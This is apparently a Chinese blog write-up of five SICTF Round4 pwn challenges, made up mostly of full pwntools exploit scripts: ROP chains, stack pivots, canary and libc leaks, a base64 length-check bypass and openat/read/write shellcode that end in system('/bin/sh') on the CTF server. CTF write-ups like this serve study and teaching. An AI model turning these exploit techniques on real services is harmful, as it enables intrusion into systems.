当前位置: 首页 > news >正文

[SICTF Round4] PWN

这PWN题似乎是给我出的,4个一血1个2血。密码又过于简单。逆向太难了又不大会。

Stack fengshui

main可以溢出覆盖rbp+ret所以它每一步都需要移栈。

可用的ROP里没有pop rdi,在4004c0里有错位的01 5d c3 :add DWORD PTR [rbp-0x3d], ebx 

并且有对应的ppp6和mov call可能打ret2csu

可以改的是一个被修改过的read,因为每次只能改4字节,所以需要改两次。

from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./pwn')
libc = ELF('./libc.so.6')add_dword_rbp_0x3d_ebx_ret = 0x4004d8 #01 5d c3 :add DWORD PTR [rbp-0x3d], ebx
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4006ca 
mov_call = 0x4006a6 #xor ebx,ebx;... call [r12+rbx*8]
pop_rbp = 0x40063e
leave_ret = 0x400669 
ret = 0x4006d4
bss = 0x601800def ret2csu(rdi=0, rsi=0, rdx=0, rbp=0xdeadbeef, addr=bss):return flat([pop_rbx_rbp_r12_r13_r14_r15_ret,0, 1, addr, rdi, rdx, 0, mov_call,0, 0, rbp, 0, 0, 0, 0,])def add(off, addr=bss):return flat([pop_rbx_rbp_r12_r13_r14_r15_ret,off, addr + 0x3d, 0, 0, 0, 0,add_dword_rbp_0x3d_ebx_ret,])p = remote('27.25.151.29', 32968)p.send(b'A'*0xa0+flat(bss, 0x40064b))p.send(flat([add((libc.sym['system']-libc.sym['read']-0xffff000000000000)&0xffffffff,0x606e40),pop_rbp, 0x601900, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss-0xa0-8, leave_ret))p.send(flat([add(((libc.sym['system']-libc.sym['read']-0xffff000000000000)>>32)+1,0x606e44),pop_rbp, 0x601800, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss+0x100-0xa0-8, leave_ret))p.send(flat([b'/bin/sh\0', ret, ret2csu(rdi=bss-0xa0, addr=0x606e40),pop_rbp, 0x601800, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss-0xa0, leave_ret))p.interactive()

signin

应该是这里边里简单的一个题。有3个菜单,

1是格式化字符串只可以输入4字节,所以可以泄露1-9的值,这里边只有3有价值是个libc地址(格式化串里6开始在栈里,1-5分别泄露rsi,rdx,rcx,r8,r9)

2可以覆盖到canary当输入长度为0x19里可以输出canary的值

3是个溢出,同样溢出很小需要移栈。

先用1,2得到canary和libc然后system

from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./pwn')
libc = ELF('./libc.so.6')p = remote('27.25.151.29', 33576)p.sendlineafter(b"Your choice: ", b'2')
p.sendafter(b"Note: ", b'A'*0x19)
p.recvuntil(b'A'*0x19)
canary = b'\0'+p.recv(7)
stack = u64(p.recv(6)+b'\0\0') - 0x20
print(f"{canary.hex() = } {stack = :x}")
p.sendlineafter(b"\nAgain?\n", b'-559038737')
p.sendafter(b"Note: ", b'A'*0x18+b'\0')p.sendlineafter(b"Your choice: ", b'1')
p.sendafter(b"Note: ", b'%3$p')
p.recvuntil(b"Note: ")
libc.address = int(p.recvuntil(b'1.', drop=True),16) - 0x114887
print(f"{libc.address = :x}")pop_rdi = libc.address + 0x00000000001bbea1 # pop rdi ; ret
leave_ret = libc.address + 0x000000000004da83 # leave ; ret
p.sendlineafter(b"Your choice: ", b'3')
p.sendafter(b"Note: ", flat(pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'],canary, stack-0x28, leave_ret))p.interactive()

SigninVM

程序用随机数生成4个块分别用于寄存器,栈,指令,并且指令会被设置成r-x,这里有一个RWX的没改,可以通过同步时间预测出地址。随机数使用3个字节,爆破量不大。

虚拟机命令格式:cmd,?,reg_idx1-3,add,value

虚拟机有几个命令,这里P(读入到寄存器),W(把寄存器值写入地址)把数据写入到可写可执行区再用V跳过去执行

shellcode由于限制只能用openat,read,write倒是也够了。

from pwn import *
from ctypes import *
context(arch='amd64', log_level='debug')clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")#p = process('./pwn2')
#gdb.attach(p, "b*0x5555555556b3\nc")
p = remote('27.25.151.29', 33207)p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
rsp = int(p.recv(10),16)
p.recvuntil(b': 0x')
rip = int(p.recv(10),16)
p.recvuntil(b': 0x')
bss = int(p.recv(10),16)
print(f"{rsp = :x} {rip = :x} {bss = :x}")def getv():v2 = clibc.rand() % 1131796v0 = clibc.rand()return ((v2 + (v2 ^ v0) + clibc.rand()) >> 4) << 12for i in range(0x1000000):clibc.srand(i)if rip == getv():print('bss =',hex(getv()))print('rsp =',hex(getv()))cmd = getv()print('cmd =', hex(cmd))breakshellcode = f'''
push 0x{(cmd>>12):x}; pop rsi;shl rsi,12;
push 0;pop rax;
push rax;pop rdi;
push 0x70;pop rdx;
syscall
'''
shellcode = f'''
xchg r8,rsi;
push rcx;pop rax;
push rax;pop rdi;
syscall
'''
#shellcode = asm(shellcode).ljust(24, b'\x90')shellcode = shellcraft.openat(0,'/flag')+shellcraft.read(0, cmd+0x200,0x50) + shellcraft.write(1,cmd+0x200,0x50)
shellcode = asm(shellcode)
print(shellcode, len(shellcode))#write payload to cmd
pay = b''
for i in range(0, len(shellcode), 8):pay+= b'P'+bytes([0,0,0,0]) + flat(0, shellcode[i:i+8])pay+= b'W'+bytes([0,0,0,0]) + flat(cmd+i, 0)pay+= b'P'+bytes([0,0,0,0]) + flat(0, cmd)
pay+= b'V'+bytes([0,0,0,0]) + flat(0, 0)
p.sendafter(b'Please provide your VM instructions:\n', pay)
#openat,read,writep.interactive()'''
0x0000007621ded000 0x0000007621dee000 0x0000000000000000 rw-   rsp
0x0000007e17a5d000 0x0000007e17a5e000 0x0000000000000000 rw-   bss
0x000000a339fef000 0x000000a339ff0000 0x0000000000000000 rwx   <--- 
0x000000cfe16e4000 0x000000cfe16e5000 0x0000000000000000 r--   ripline  CODE  JT   JF      K
=================================0000: 0x20 0x00 0x00 0x00000004  A = arch0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 00130002: 0x20 0x00 0x00 0x00000000  A = sys_number0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 00050004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 00130005: 0x15 0x06 0x00 0x00000000  if (A == read) goto 00120006: 0x15 0x05 0x00 0x00000001  if (A == write) goto 00120007: 0x15 0x04 0x00 0x00000008  if (A == lseek) goto 00120008: 0x15 0x03 0x00 0x0000000a  if (A == mprotect) goto 00120009: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 00120010: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 00120011: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 00130012: 0x06 0x00 0x00 0x7fff0000  return ALLOW0013: 0x06 0x00 0x00 0x00000000  return KILL
'''

T1d's computer v2.0

这个题在输入payload里会有长度检查。先把输入的东西用base64解码,但解码时会减去全=的块数,这样把ROP编码后加足够的=就能绕过长度检查。

出题人看来习惯于短溢出了,每次都得弄第2次。

from pwn import *
from ctypes import *
from time import time
from base64 import b64encodecontext(arch='amd64', log_level='debug')elf = ELF('./pwn')
libc = ELF('./libc.so.6')mov_rdi_rbp = 0x401602 
pop_rbp = 0x401607
ret = 0x401608clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
clibc.srand(int(time()))
x = clibc.rand()%256p = remote('27.25.151.29', 33311)p.sendlineafter(b"Please enter your username: ", b'A')print(f"{x = :x}")
pay = b'\0'*0x48 + flat(elf.got['puts'], mov_rdi_rbp, elf.plt['puts'], ret, elf.sym['login'])
l = len(pay)-60
pay = bytes([(i+x)&0xff for i in pay])
pay = b64encode(pay)
cod1 = "0123456789+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ="
cod2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
pay = ''.join([cod1[cod2.index(i)] for i in pay.decode()])
pay += '===='*l p.sendlineafter(b"Please enter your password: ", pay.encode())libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")#####2############
p.sendlineafter(b"Please enter your username: ", b'A')print(f"{x = :x}")
pay = b'\0'*0x48 + flat(next(libc.search(b'/bin/sh\0')), mov_rdi_rbp, libc.sym['system'])
l = len(pay)-60
pay = bytes([(i+x)&0xff for i in pay])
pay = b64encode(pay)
cod1 = "0123456789+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ="
cod2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
pay = ''.join([cod1[cod2.index(i)] for i in pay.decode()])
pay += '===='*l p.sendlineafter(b"Please enter your password: ", pay.encode())p.interactive()

T1d's computer v3.0

题目有4个菜单

1:login有溢出,但有栈保护需要先得到canary

2:fmt 会得到 elf.address^canary 得到canary后可以算出加载地址

3:uaf 好像没啥用

4:canary 输入密码正确后会给出canary。密码是通过/dev/random取得并且不为0,这里的漏洞在于当输入满16字节时会带所后边的i,通过i判断是否是否爆破成功。这里不通输入\n所以需要从密码中过滤掉。密码带\n的概率不大。

from pwn import *
import timecontext(arch='amd64', log_level='debug')elf = ELF('./pwn2')
libc = ELF('./libc.so.6')def login(msg=b"root\0"):p.sendlineafter(b"Choose an option: ", b'1')p.sendlineafter(b"Please enter your username: ", b"T1d\0")if len(msg)< 0x68:p.sendlineafter(b"Please enter your password: ", msg)else:p.sendafter(b"Please enter your password: ", msg)def fmt():p.sendlineafter(b"Choose an option: ", b'2')p.recvuntil(b"A gift for you: 0x")v = int(p.recvline(),16)print(hex(v))return vdef getcanary(c):p.sendlineafter(b"Choose an option: ", b'4')p.sendlineafter(b"Please input the number you guess: ", c)msg = p.recvline()return msgdef logout():p.sendlineafter(b"Choose an option: ", b'5')def uaf(msg):p.sendlineafter(b"Choose an option: ", b'3')p.sendlineafter(b"Choice: ", b'1')p.sendafter(b"Enter your note: ", msg)p.sendlineafter(b"Choice: ", b'3')def get2():code = [255]*8for i in range(7):for k in range(1,256):if k==10: continuecode[i]=kp.sendlineafter(b"Choose an option: ", b'4')p.sendafter(b"Please input the number you guess: \n", bytes(code)+b'.'*8)msg = p.recvline()if msg[-2:] == bytes([i+1])+b'\n':break for k in range(1,256):if k==10: continuecode[7]=kp.sendlineafter(b"Choose an option: ", b'4')p.sendafter(b"Please input the number you guess: \n", bytes(code)+b'.'*8)msg = p.recv(10)if b"I'll" in msg:p.recvuntil(b'0x')canary = int(p.recvline(),16)return canaryreturn Falsep = remote('27.25.151.29', 33804)login()
#当输入满16位时会带出i,通过i判断是否爆破成功
canary = get2()
print(f"{canary = :x}")
elf.address = (canary ^ fmt()) - 0x4060context.log_level = 'debug'
print(f"{canary = :x} {elf.address = :x}")mov_rdi = elf.address + 0x1d51 #mov rax,desc;mov rdi,rax;mov rdi,[rdi];retuaf(p64(elf.got['puts']))bss = elf.address+ 0x4800logout()
login(b'\0'*0x40 + flat(canary, bss, mov_rdi, elf.plt['puts'], elf.address + 0x1ab5))libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
leave_ret = elf.address + 0x1b47p.sendline(flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'],p64(0)*4,canary, bss-0x50 , leave_ret))
sleep(0.5)
p.sendline(b'cat flag')
p.interactive()


http://www.mrgr.cn/news/64923.html

相关文章:

  • Python爬虫如何处理验证码与登录
  • 全面解析:大数据技术及其应用
  • OpenAI又添新功能可用
  • 针对告警数量、告警位置、告警类型等参数进行统计,并做可视化处理的智慧能源开源了。
  • RV1126-SDK学习之OSD实现原理
  • 书生大模型全链路开源开放体系
  • 【算法】选择排序
  • 基于STM32的农业监测与管理系统设计思路介绍(代码示例)
  • 程序员的减压秘籍:高效与健康的平衡艺术
  • Docker篇(registry私服)
  • C++ 优先算法 —— 查找总价格为目标值的两个商品(双指针)
  • 代码随想录day15| 110.平衡二叉树 、 257. 二叉树的所有路径 、 404.左叶子之和、 222.完全二叉树的节点个数
  • dockerfile/docker-compose构建镜像上下文目录编写要点
  • 进程间通信小练习
  • 电子电气架构 --- Trace 32(劳特巴赫)多核系统的调试
  • 第1篇 引言
  • vscode ssh+clion+idea等本周小结-2024.11.3
  • 阿里巴巴Seata分布式事务解决方案
  • ubuntu20安装opencv3.2记录
  • 【linux指令】----如何创建一个子进程
  • 智能指针的原理和使用
  • 【论文复现】神经网络的公式推导与代码实现
  • 【react如何在chrome浏览器里面调试?】
  • DAY75WEB 攻防-验证码安全篇接口滥用识别插件复用绕过宏命令填入滑块类
  • 自由学习记录(18)
  • gdal连接pg(java案例)